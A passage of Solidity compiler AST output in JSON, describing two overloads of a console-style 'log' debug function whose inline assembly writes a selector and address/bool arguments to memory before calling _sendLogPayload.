src":"103867:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37097,"name":"bytes32","nodeType":"ElementaryTypeName","src":"103867:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37099,"nodeType":"VariableDeclarationStatement","src":"103867:10:22"},{"assignments":[37101],"declarations":[{"constant":false,"id":37101,"mutability":"mutable","name":"m3","nameLocation":"103895:2:22","nodeType":"VariableDeclaration","scope":37113,"src":"103887:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37100,"name":"bytes32","nodeType":"ElementaryTypeName","src":"103887:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37102,"nodeType":"VariableDeclarationStatement","src":"103887:10:22"},{"assignments":[37104],"declarations":[{"constant":false,"id":37104,"mutability":"mutable","name":"m4","nameLocation":"103915:2:22","nodeType":"VariableDeclaration","scope":37113,"src":"103907:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37103,"name":"bytes32","nodeType":"ElementaryTypeName","src":"103907:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37105,"nodeType":"VariableDeclarationStatement","src":"103907:10:22"},{"AST":{"nativeSrc":"103936:375:22","nodeType":"YulBlock","src":"103936:375:22","statements":[{"nativeSrc":"103950:17:22","nodeType":"YulAssignment","src":"103950:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"103962:4:22","nodeType":"YulLiteral","src":"103962:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"103956:5:22","nodeType":"YulIdentifier","src":"103956:5:22"},"nativeSrc":"103956:11:22","nodeType":"YulFunctionCall","src":"103956:11:22"},"variableNames":[{"name":"m0","nativeSrc":"103950:2:22","nodeType":"YulIdentifier","src":"103950:2:22"}]},{"nativeSrc":"103980:17:22","nodeType":"YulAssignment","src":"103980:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"103992:4:22","nodeType":"YulLiteral","src":"103992:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"103986:5:22","nodeType":"YulIdentifier","src":"103986:5:22"},"nativeSrc":"103986:11:22","nodeType":"YulFunctionCall","src":"103986:11:22"},"variableNames":[{"name":"m1","nativeSrc":"103980:2:22","nodeType":"YulIdentifier","src":"103980:2:22"}]},{"nativeSrc":"104010:17:22","nodeType":"YulAssignment","src":"104010:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"104022:4:22","nodeType":"YulLiteral","src":"104022:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"104016:5:22","nodeType":"YulIdentifier","src":"104016:5:22"},"nativeSrc":"104016:11:22","nodeType":"YulFunctionCall","src":"104016:11:22"},"variableNames":[{"name":"m2","nativeSrc":"104010:2:22","nodeType":"YulIdentifier","src":"104010:2:22"}]},{"nativeSrc":"104040:17:22","nodeType":"YulAssignment","src":"104040:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"104052:4:22","nodeType":"YulLiteral","src":"104052:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"104046:5:22","nodeType":"YulIdentifier","src":"104046:5:22"},"nativeSrc":"104046:11:22","nodeType":"YulFunctionCall","src":"104046:11:22"},"variableNames":[{"name":"m3","nativeSrc":"104040:2:22","nodeType":"YulIdentifier","src":"104040:2:22"}]},{"nativeSrc":"104070:17:22","nodeType":"YulAssignment","src":"104070:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"104082:4:22","nodeType":"YulLiteral","src":"104082:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"104076:5:22","nodeType":"YulIdentifier","src":"104076:5:22"},"nativeSrc":"104076:11:22","nodeType":"YulFunctionCall","src":"104076:11:22"},"variableNames":[{"name":"m4","nativeSrc":"104070:2:22","nodeType":"YulIdentifier","src":"104070:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"104168:4:22","nodeType":"YulLiteral","src":"104168:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"104174:10:22","nodeType":"YulLiteral","src":"104174:10:22","type":"","value":"0xcf394485"}],"functionName":{"name":"mstore","nativeSrc":"104161:6:22","nodeType":"YulIdentifier","src":"104161:6:22"},"nativeSrc":"104161:24:22","nodeType":"YulFunctionCall","src":"104161:24:22"},"nativeSrc":"104161:24:22","nodeType":"YulExpressionStatement","src":"104161:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"104205:4:22","nodeType":"YulLiteral","src":"104205:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"104211:2:22","nodeType":"YulIdentifier","src":"104211:2:22"}],"functionName":{"name":"mstore","nativeSrc":"104198:6:22","nodeType":"YulIdentifier","src":"104198:6:22"},"nativeSrc":"104198:16:22","nodeType":"YulFunctionCall","src":"104198:16:22"},"nativeSrc":"104198:16:22","nodeType":"YulExpressionStatement","src":"104198:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"104234:4:22","nodeType":"YulLiteral","src":"104234:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"104240:2:22","nodeType":"YulIdentifier","src":"104240:2:22"}],"functionName":{"name":"mstore","nativeSrc":"104227:6:22","nodeType":"YulIdentifier","src":"104227:6:22"},"nativeSrc":"104227:16:22","nodeType":"YulFunctionCall","src":"104227:16:22"},"nativeSrc":"104227:16:22","nodeType":"YulExpressionStatement","src":"104227:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"104263:4:22","nodeType":"YulLiteral","src":"104263:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"104269:2:22","nodeType":"YulIdentifier","src":"104269:2:22"}],"functionName":{"name":"mstore","nativeSrc":"104256:6:22","nodeType":"YulIdentifier","src":"104256:6:22"},"nativeSrc":"104256:16:22","nodeType":"YulFunctionCall","src":"104256:16:22"},"nativeSrc":"104256:16:22","nodeType":"YulExpressionStatement","src":"104256:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"104292:4:22","nodeType":"YulLiteral","src":"104292:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"104298:2:22","nodeType":"YulIdentifier","src":"104298:2:22"}],"functionName":{"name":"mstore","nativeSrc":"104285:6:22","nodeType":"YulIdentifier","src":"104285:6:22"},"nativeSrc":"104285:16:22","nodeType":"YulFunctionCall","src":"104285:16:22"},"nativeSrc":"104285:16:22","nodeType":"YulExpressionStatement","src":"104285:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":37092,"isOffset":false,"isSlot":false,"src":"103950:2:22","valueSize":1},{"declaration":37095,"isOffset":false,"isSlot":false,"src":"103980:2:22","valueSize":1},{"declaration":37098,"isOffset":false,"isSlot":false,"src":"104010:2:22","valueSize":1},{"declaration":37101,"isOffset":false,"isSlot":false,"src":"104040:2:22","valueSize":1},{"declaration":37104,"isOffset":false,"isSlot":false,"src":"104070:2:22","valueSize":1},{"declaration":37082,"isOffset":false,"isSlot":false,"src":"104211:2:22","valueSize":1},{"declaration":37084,"isOffset":false,"isSlot":false,"src":"104240:2:22","valueSize":1},{"declaration":37086,"isOffset":false,"isSlot":false,"src":"104269:2:22","valueSize":1},{"declaration":37088,"isOffset":false,"isSlot":false,"src":"104298:2:22","valueSize":1}],"id":37106,"nodeType":"InlineAssembly","src":"103927:384:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":37108,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"104336:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":37109,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"104342:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":37107,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"104320:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":37110,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"104320:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":37111,"nodeType":"ExpressionStatement","src":"104320:27:22"},{"AST":{"nativeSrc":"104366:156:22","nodeType":"YulBlock","src":"104366:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"104387:4:22","nodeType":"YulLiteral","src":"104387:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"104393:2:22","nodeType":"YulIdentifier","src":"104393:2:22"}],"functionName":{"name":"mstore","nativeSrc":"104380:6:22","nodeType":"YulIdentifier","src":"104380:6:22"},"nativeSrc":"104380:16:22","nodeType":"YulFunctionCall","src":"104380:16:22"},"nativeSrc":"104380:16:22","nodeType":"YulExpressionStatement","src":"104380:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"104416:4:22","nodeType":"YulLiteral","src":"104416:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"104422:2:22","nodeType":"YulIdentifier","src":"104422:2:22"}],"functionName":{"name":"mstore","nativeSrc":"104409:6:22","nodeType":"YulIdentifier","src":"104409:6:22"},"nativeSrc":"104409:16:22","nodeType":"YulFunctionCall","src":"104409:16:22"},"nativeSrc":"104409:16:22","nodeType":"YulExpressionStatement","src":"104409:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"104445:4:22","nodeType":"YulLiteral","src":"104445:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"104451:2:22","nodeType":"YulIdentifier","src":"104451:2:22"}],"functionName":{"name":"mstore","nativeSrc":"104438:6:22","nodeType":"YulIdentifier","src":"104438:6:22"},"nativeSrc":"104438:16:22","nodeType":"YulFunctionCall","src":"104438:16:22"},"nativeSrc":"104438:16:22","nodeType":"YulExpressionStatement","src":"104438:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"104474:4:22","nodeType":"YulLiteral","src":"104474:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"104480:2:22","nodeType":"YulIdentifier","src":"104480:2:22"}],"functionName":{"name":"mstore","nativeSrc":"104467:6:22","nodeType":"YulIdentifier","src":"104467:6:22"},"nativeSrc":"104467:16:22","nodeType":"YulFunctionCall","src":"104467:16:22"},"nativeSrc":"104467:16:22","nodeType":"YulExpressionStatement","src":"104467:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"104503:4:22","nodeType":"YulLiteral","src":"104503:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"104509:2:22","nodeType":"YulIdentifier","src":"104509:2:22"}],"functionName":{"name":"mstore","nativeSrc":"104496:6:22","nodeType":"YulIdentifier","src":"104496:6:22"},"nativeSrc":"104496:16:22","nodeType":"YulFunctionCall","src":"104496:16:22"},"nativeSrc":"104496:16:22","nodeType":"YulExpressionStatement","src":"104496:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":37092,"isOffset":false,"isSlot":false,"src":"104393:2:22","valueSize":1},{"declaration":37095,"isOffset":false,"isSlot":false,"src":"104422:2:22","valueSize":1},{"declaration":37098,"isOffset":false,"isSlot":false,"src":"104451:2:22","valueSize":1},{"declaration":37101,"isOffset":false,"isSlot":false,"src":"104480:2:22","valueSize":1},{"declaration":37104,"isOffset":false,"isSlot":false,"src":"104509:2:22","valueSize":1}],"id":37112,"nodeType":"InlineAssembly","src":"104357:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"103757:3:22","parameters":{"id":37089,"nodeType":"ParameterList","parameters":[{"constant":false,"id":37082,"mutability":"mutable","name":"p0","nameLocation":"103769:2:22","nodeType":"VariableDeclaration","scope":37114,"src":"103761:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":37081,"name":"address","nodeType":"ElementaryTypeName","src":"103761:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":37084,"mutability":"mutable","name":"p1","nameLocation":"103778:2:22","nodeType":"VariableDeclaration","scope":37114,"src":"103773:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":37083,"name":"bool","nodeType":"ElementaryTypeName","src":"103773:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":37086,"mutability":"mutable","name":"p2","nameLocation":"103787:2:22","nodeType":"VariableDeclaration","scope":37114,"src":"103782:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":37085,"name":"bool","nodeType":"ElementaryTypeName","src":"103782:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":37088,"mutability":"mutable","name":"p3","nameLocation":"103799:2:22","nodeType":"VariableDeclaration","scope":37114,"src":"103791:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":37087,"name":"address","nodeType":"ElementaryTypeName","src":"103791:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"103760:42:22"},"returnParameters":{"id":37090,"nodeType":"ParameterList","parameters":[],"src":"103817:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":37148,"nodeType":"FunctionDefinition","src":"104534:774:22","nodes":[],"body":{"id":37147,"nodeType":"Block","src":"104600:708:22","nodes":[],"statements":[{"assignments":[37126],"declarations":[{"constant":false,"id":37126,"mutability":"mutable","name":"m0","nameLocation":"104618:2:22","nodeType":"VariableDeclaration","scope":37147,"src":"104610:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37125,"name":"bytes32","nodeType":"ElementaryTypeName","src":"104610:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37127,"nodeType":"VariableDeclarationStatement","src":"104610:10:22"},{"assignments":[37129],"declarations":[{"constant":false,"id":37129,"mutability":"mutable","name":"m1","nameLocation":"104638:2:22","nodeType":"VariableDeclaration","scope":37147,"src":"104630:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37128,"name":"bytes32","nodeType":"ElementaryTypeName","src":"104630:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37130,"nodeType":"VariableDeclarationStatement","src":"104630:10:22"},{"assignments":[37132],"declarations":[{"constant":false,"id":37132,"mutability":"mutable","name":"m2","nameLocation":"104658:2:22","nodeType":"VariableDeclaration","scope":37147,"src":"104650:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37131,"name":"bytes32","nodeType":"ElementaryTypeName","src":"104650:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37133,"nodeType":"VariableDeclarationStatement","src":"104650:10:22"},{"assignments":[37135],"declarations":[{"constant":false,"id":37135,"mutability":"mutable","name":"m3","nameLocation":"104678:2:22","nodeType":"VariableDeclaration","scope":37147,"src":"104670:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37134,"name":"bytes32","nodeType":"ElementaryTypeName","src":"104670:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37136,"nodeType":"VariableDeclarationStatement","src":"104670:10:22"},{"assignments":[37138],"declarations":[{"constant":false,"id":37138,"mutability":"mutable","name":"m4","nameLocation":"104698:2:22","nodeType":"VariableDeclaration","scope":37147,"src":"104690:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37137,"name":"bytes32","nodeType":"ElementaryTypeName","src":"104690:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37139,"nodeType":"VariableDeclarationStatement","src":"104690:10:22"},{"AST":{"nativeSrc":"104719:372:22","nodeType":"YulBlock","src":"104719:372:22","statements":[{"nativeSrc":"104733:17:22","nodeType":"YulAssignment","src":"104733:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"104745:4:22","nodeType":"YulLiteral","src":"104745:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"104739:5:22","nodeType":"YulIdentifier","src":"104739:5:22"},"nativeSrc":"104739:11:22","nodeType":"YulFunctionCall","src":"104739:11:22"},"variableNames":[{"name":"m0","nativeSrc":"104733:2:22","nodeType":"YulIdentifier","src":"104733:2:22"}]},{"nativeSrc":"104763:17:22","nodeType":"YulAssignment","src":"104763:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"104775:4:22","nodeType":"YulLiteral","src":"104775:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"104769:5:22","nodeType":"YulIdentifier","src":"104769:5:22"},"nativeSrc":"104769:11:22","nodeType":"YulFunctionCall","src":"104769:11:22"},"variableNames":[{"name":"m1","nativeSrc":"104763:2:22","nodeType":"YulIdentifier","src":"104763:2:22"}]},{"nativeSrc":"104793:17:22","nodeType":"YulAssignment","src":"104793:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"104805:4:22","nodeType":"YulLiteral","src":"104805:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"104799:5:22","nodeType":"YulIdentifier","src":"104799:5:22"},"nativeSrc":"104799:11:22","nodeType":"YulFunctionCall","src":"104799:11:22"},"variableNames":[{"name":"m2","nativeSrc":"104793:2:22","nodeType":"YulIdentifier","src":"104793:2:22"}]},{"nativeSrc":"104823:17:22","nodeType":"YulAssignment","src":"104823:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"104835:4:22","nodeType":"YulLiteral","src":"104835:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"104829:5:22","nodeType":"YulIdentifier","src":"104829:5:22"},"nativeSrc":"104829:11:22","nodeType":"YulFunctionCall","src":"104829:11:22"},"variableNames":[{"name":"m3","nativeSrc":"104823:2:22","nodeType":"YulIdentifier","src":"104823:2:22"}]},{"nativeSrc":"104853:17:22","nodeType":"YulAssignment","src":"104853:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"104865:4:22","nodeType":"YulLiteral","src":"104865:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"104859:5:22","nodeType":"YulIdentifier","src":"104859:5:22"},"nativeSrc":"104859:11:22","nodeType":"YulFunctionCall","src":"104859:11:22"},"variableNames":[{"name":"m4","nativeSrc":"104853:2:22","nodeType":"YulIdentifier","src":"104853:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"104948:4:22","nodeType":"YulLiteral","src":"104948:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"104954:10:22","nodeType":"YulLiteral","src":"104954:10:22","type":"","value":"0xcac43479"}],"functionName":{"name":"mstore","nativeSrc":"104941:6:22","nodeType":"YulIdentifier","src":"104941:6:22"},"nativeSrc":"104941:24:22","nodeType":"YulFunctionCall","src":"104941:24:22"},"nativeSrc":"104941:24:22","nodeType":"YulExpressionStatement","src":"104941:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"104985:4:22","nodeType":"YulLiteral","src":"104985:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"104991:2:22","nodeType":"YulIdentifier","src":"104991:2:22"}],"functionName":{"name":"mstore","nativeSrc":"104978:6:22","nodeType":"YulIdentifier","src":"104978:6:22"},"nativeSrc":"104978:16:22","nodeType":"YulFunctionCall","src":"104978:16:22"},"nativeSrc":"104978:16:22","nodeType":"YulExpressionStatement","src":"104978:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"105014:4:22","nodeType":"YulLiteral","src":"105014:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"105020:2:22","nodeType":"YulIdentifier","src":"105020:2:22"}],"functionName":{"name":"mstore","nativeSrc":"105007:6:22","nodeType":"YulIdentifier","src":"105007:6:22"},"nativeSrc":"105007:16:22","nodeType":"YulFunctionCall","src":"105007:16:22"},"nativeSrc":"105007:16:22","nodeType":"YulExpressionStatement","src":"105007:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"105043:4:22","nodeType":"YulLiteral","src":"105043:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"105049:2:22","nodeType":"YulIdentifier","src":"105049:2:22"}],"functionName":{"name":"mstore","nativeSrc":"105036:6:22","nodeType":"YulIdentifier","src":"105036:6:22"},"nativeSrc":"105036:16:22","nodeType":"YulFunctionCall","src":"105036:16:22"},"nativeSrc":"105036:16:22","nodeType":"YulExpressionStatement","src":"105036:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"105072:4:22","nodeType":"YulLiteral","src":"105072:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"105078:2:22","nodeType":"YulIdentifier","src":"105078:2:22"}],"functionName":{"name":"mstore","nativeSrc":"105065:6:22","nodeType":"YulIdentifier","src":"105065:6:22"},"nativeSrc":"105065:16:22","nodeType":"YulFunctionCall","src":"105065:16:22"},"nativeSrc":"105065:16:22","nodeType":"YulExpressionStatement","src":"105065:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":37126,"isOffset":false,"isSlot":false,"src":"104733:2:22","valueSize":1},{"declaration":37129,"isOffset":false,"isSlot":false,"src":"104763:2:22","valueSize":1},{"declaration":37132,"isOffset":false,"isSlot":false,"src":"104793:2:22","valueSize":1},{"declaration":37135,"isOffset":false,"isSlot":false,"src":"104823:2:22","valueSize":1},{"declaration":37138,"isOffset":false,"isSlot":false,"src":"104853:2:22","valueSize":1},{"declaration":37116,"isOffset":false,"isSlot":false,"src":"104991:2:22","valueSize":1},{"declaration":37118,"isOffset":false,"isSlot":false,"src":"105020:2:22","valueSize":1},{"declaration":37120,"isOffset":false,"isSlot":false,"src":"105049:2:22","valueSize":1},{"declaration":37122,"isOffset":false,"isSlot":false,"src":"105078:2:22","valueSize":1}],"id":37140,"nodeType":"InlineAssembly","src":"104710:381:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":37142,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"105116:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":37143,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"105122:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":37141,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"105100:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":37144,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"105100:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":37145,"nodeType":"ExpressionStatement","src":"105100:27:22"},{"AST":{"nativeSrc":"105146:156:22","nodeType":"YulBlock","src":"105146:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"105167:4:22","nodeType":"YulLiteral","src":"105167:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"105173:2:22","nodeType":"YulIdentifier","src":"105173:2:22"}],"functionName":{"name":"mstore","nativeSrc":"105160:6:22","nodeType":"YulIdentifier","src":"105160:6:22"},"nativeSrc":"105160:16:22","nodeType":"YulFunctionCall","src":"105160:16:22"},"nativeSrc":"105160:16:22","nodeType":"YulExpressionStatement","src":"105160:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"105196:4:22","nodeType":"YulLiteral","src":"105196:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"105202:2:22","nodeType":"YulIdentifier","src":"105202:2:22"}],"functionName":{"name":"mstore","nativeSrc":"105189:6:22","nodeType":"YulIdentifier","src":"105189:6:22"},"nativeSrc":"105189:16:22","nodeType":"YulFunctionCall","src":"105189:16:22"},"nativeSrc":"105189:16:22","nodeType":"YulExpressionStatement","src":"105189:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"105225:4:22","nodeType":"YulLiteral","src":"105225:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"105231:2:22","nodeType":"YulIdentifier","src":"105231:2:22"}],"functionName":{"name":"mstore","nativeSrc":"105218:6:22","nodeType":"YulIdentifier","src":"105218:6:22"},"nativeSrc":"105218:16:22","nodeType":"YulFunctionCall","src":"105218:16:22"},"nativeSrc":"105218:16:22","nodeType":"YulExpressionStatement","src":"105218:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"105254:4:22","nodeType":"YulLiteral","src":"105254:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"105260:2:22","nodeType":"YulIdentifier","src":"105260:2:22"}],"functionName":{"name":"mstore","nativeSrc":"105247:6:22","nodeType":"YulIdentifier","src":"105247:6:22"},"nativeSrc":"105247:16:22","nodeType":"YulFunctionCall","src":"105247:16:22"},"nativeSrc":"105247:16:22","nodeType":"YulExpressionStatement","src":"105247:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"105283:4:22","nodeType":"YulLiteral","src":"105283:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"105289:2:22","nodeType":"YulIdentifier","src":"105289:2:22"}],"functionName":{"name":"mstore","nativeSrc":"105276:6:22","nodeType":"YulIdentifier","src":"105276:6:22"},"nativeSrc":"105276:16:22","nodeType":"YulFunctionCall","src":"105276:16:22"},"nativeSrc":"105276:16:22","nodeType":"YulExpressionStatement","src":"105276:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":37126,"isOffset":false,"isSlot":false,"src":"105173:2:22","valueSize":1},{"declaration":37129,"isOffset":false,"isSlot":false,"src":"105202:2:22","valueSize":1},{"declaration":37132,"isOffset":false,"isSlot":false,"src":"105231:2:22","valueSize":1},{"declaration":37135,"isOffset":false,"isSlot":false,"src":"105260:2:22","valueSize":1},{"declaration":37138,"isOffset":false,"isSlot":false,"src":"105289:2:22","valueSize":1}],"id":37146,"nodeType":"InlineAssembly","src":"105137:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"104543:3:22","parameters":{"id":37123,"nodeType":"ParameterList","parameters":[{"constant":false,"id":37116,"mutability":"mutable","name":"p0","nameLocation":"104555:2:22","nodeType":"VariableDeclaration","scope":37148,"src":"104547:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":37115,"name":"address","nodeType":"ElementaryTypeName","src":"104547:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":37118,"mutability":"mutable","name":"p1","nameLocation":"104564:2:22","nodeType":"VariableDeclaration","scope":37148,"src":"104559:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":37117,"name":"bool","nodeType":"ElementaryTypeName","src":"104559:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":37120,"mutability":"mutable","name":"p2","nameLocation":"104573:2:22","nodeType":"VariableDeclaration","scope":37148,"src":"104568:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":37119,"name":"bool","nodeType":"ElementaryTypeName","src":"104568:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":37122,"mutability":"mutable","name":"p3","nameLocation":"104582:2:22","nodeType":"VariableDeclaration","scope":37148,"src":"104577:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":37121,"name":"bool","nodeType":"ElementaryTypeName","src":"104577:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"104546:39:22"},"returnParameters":{"id":37124,"nodeType":"ParameterList","parameters":[],"src":"104600:0:22"},"scope":46587,"stateMutability":"pure","virtual":f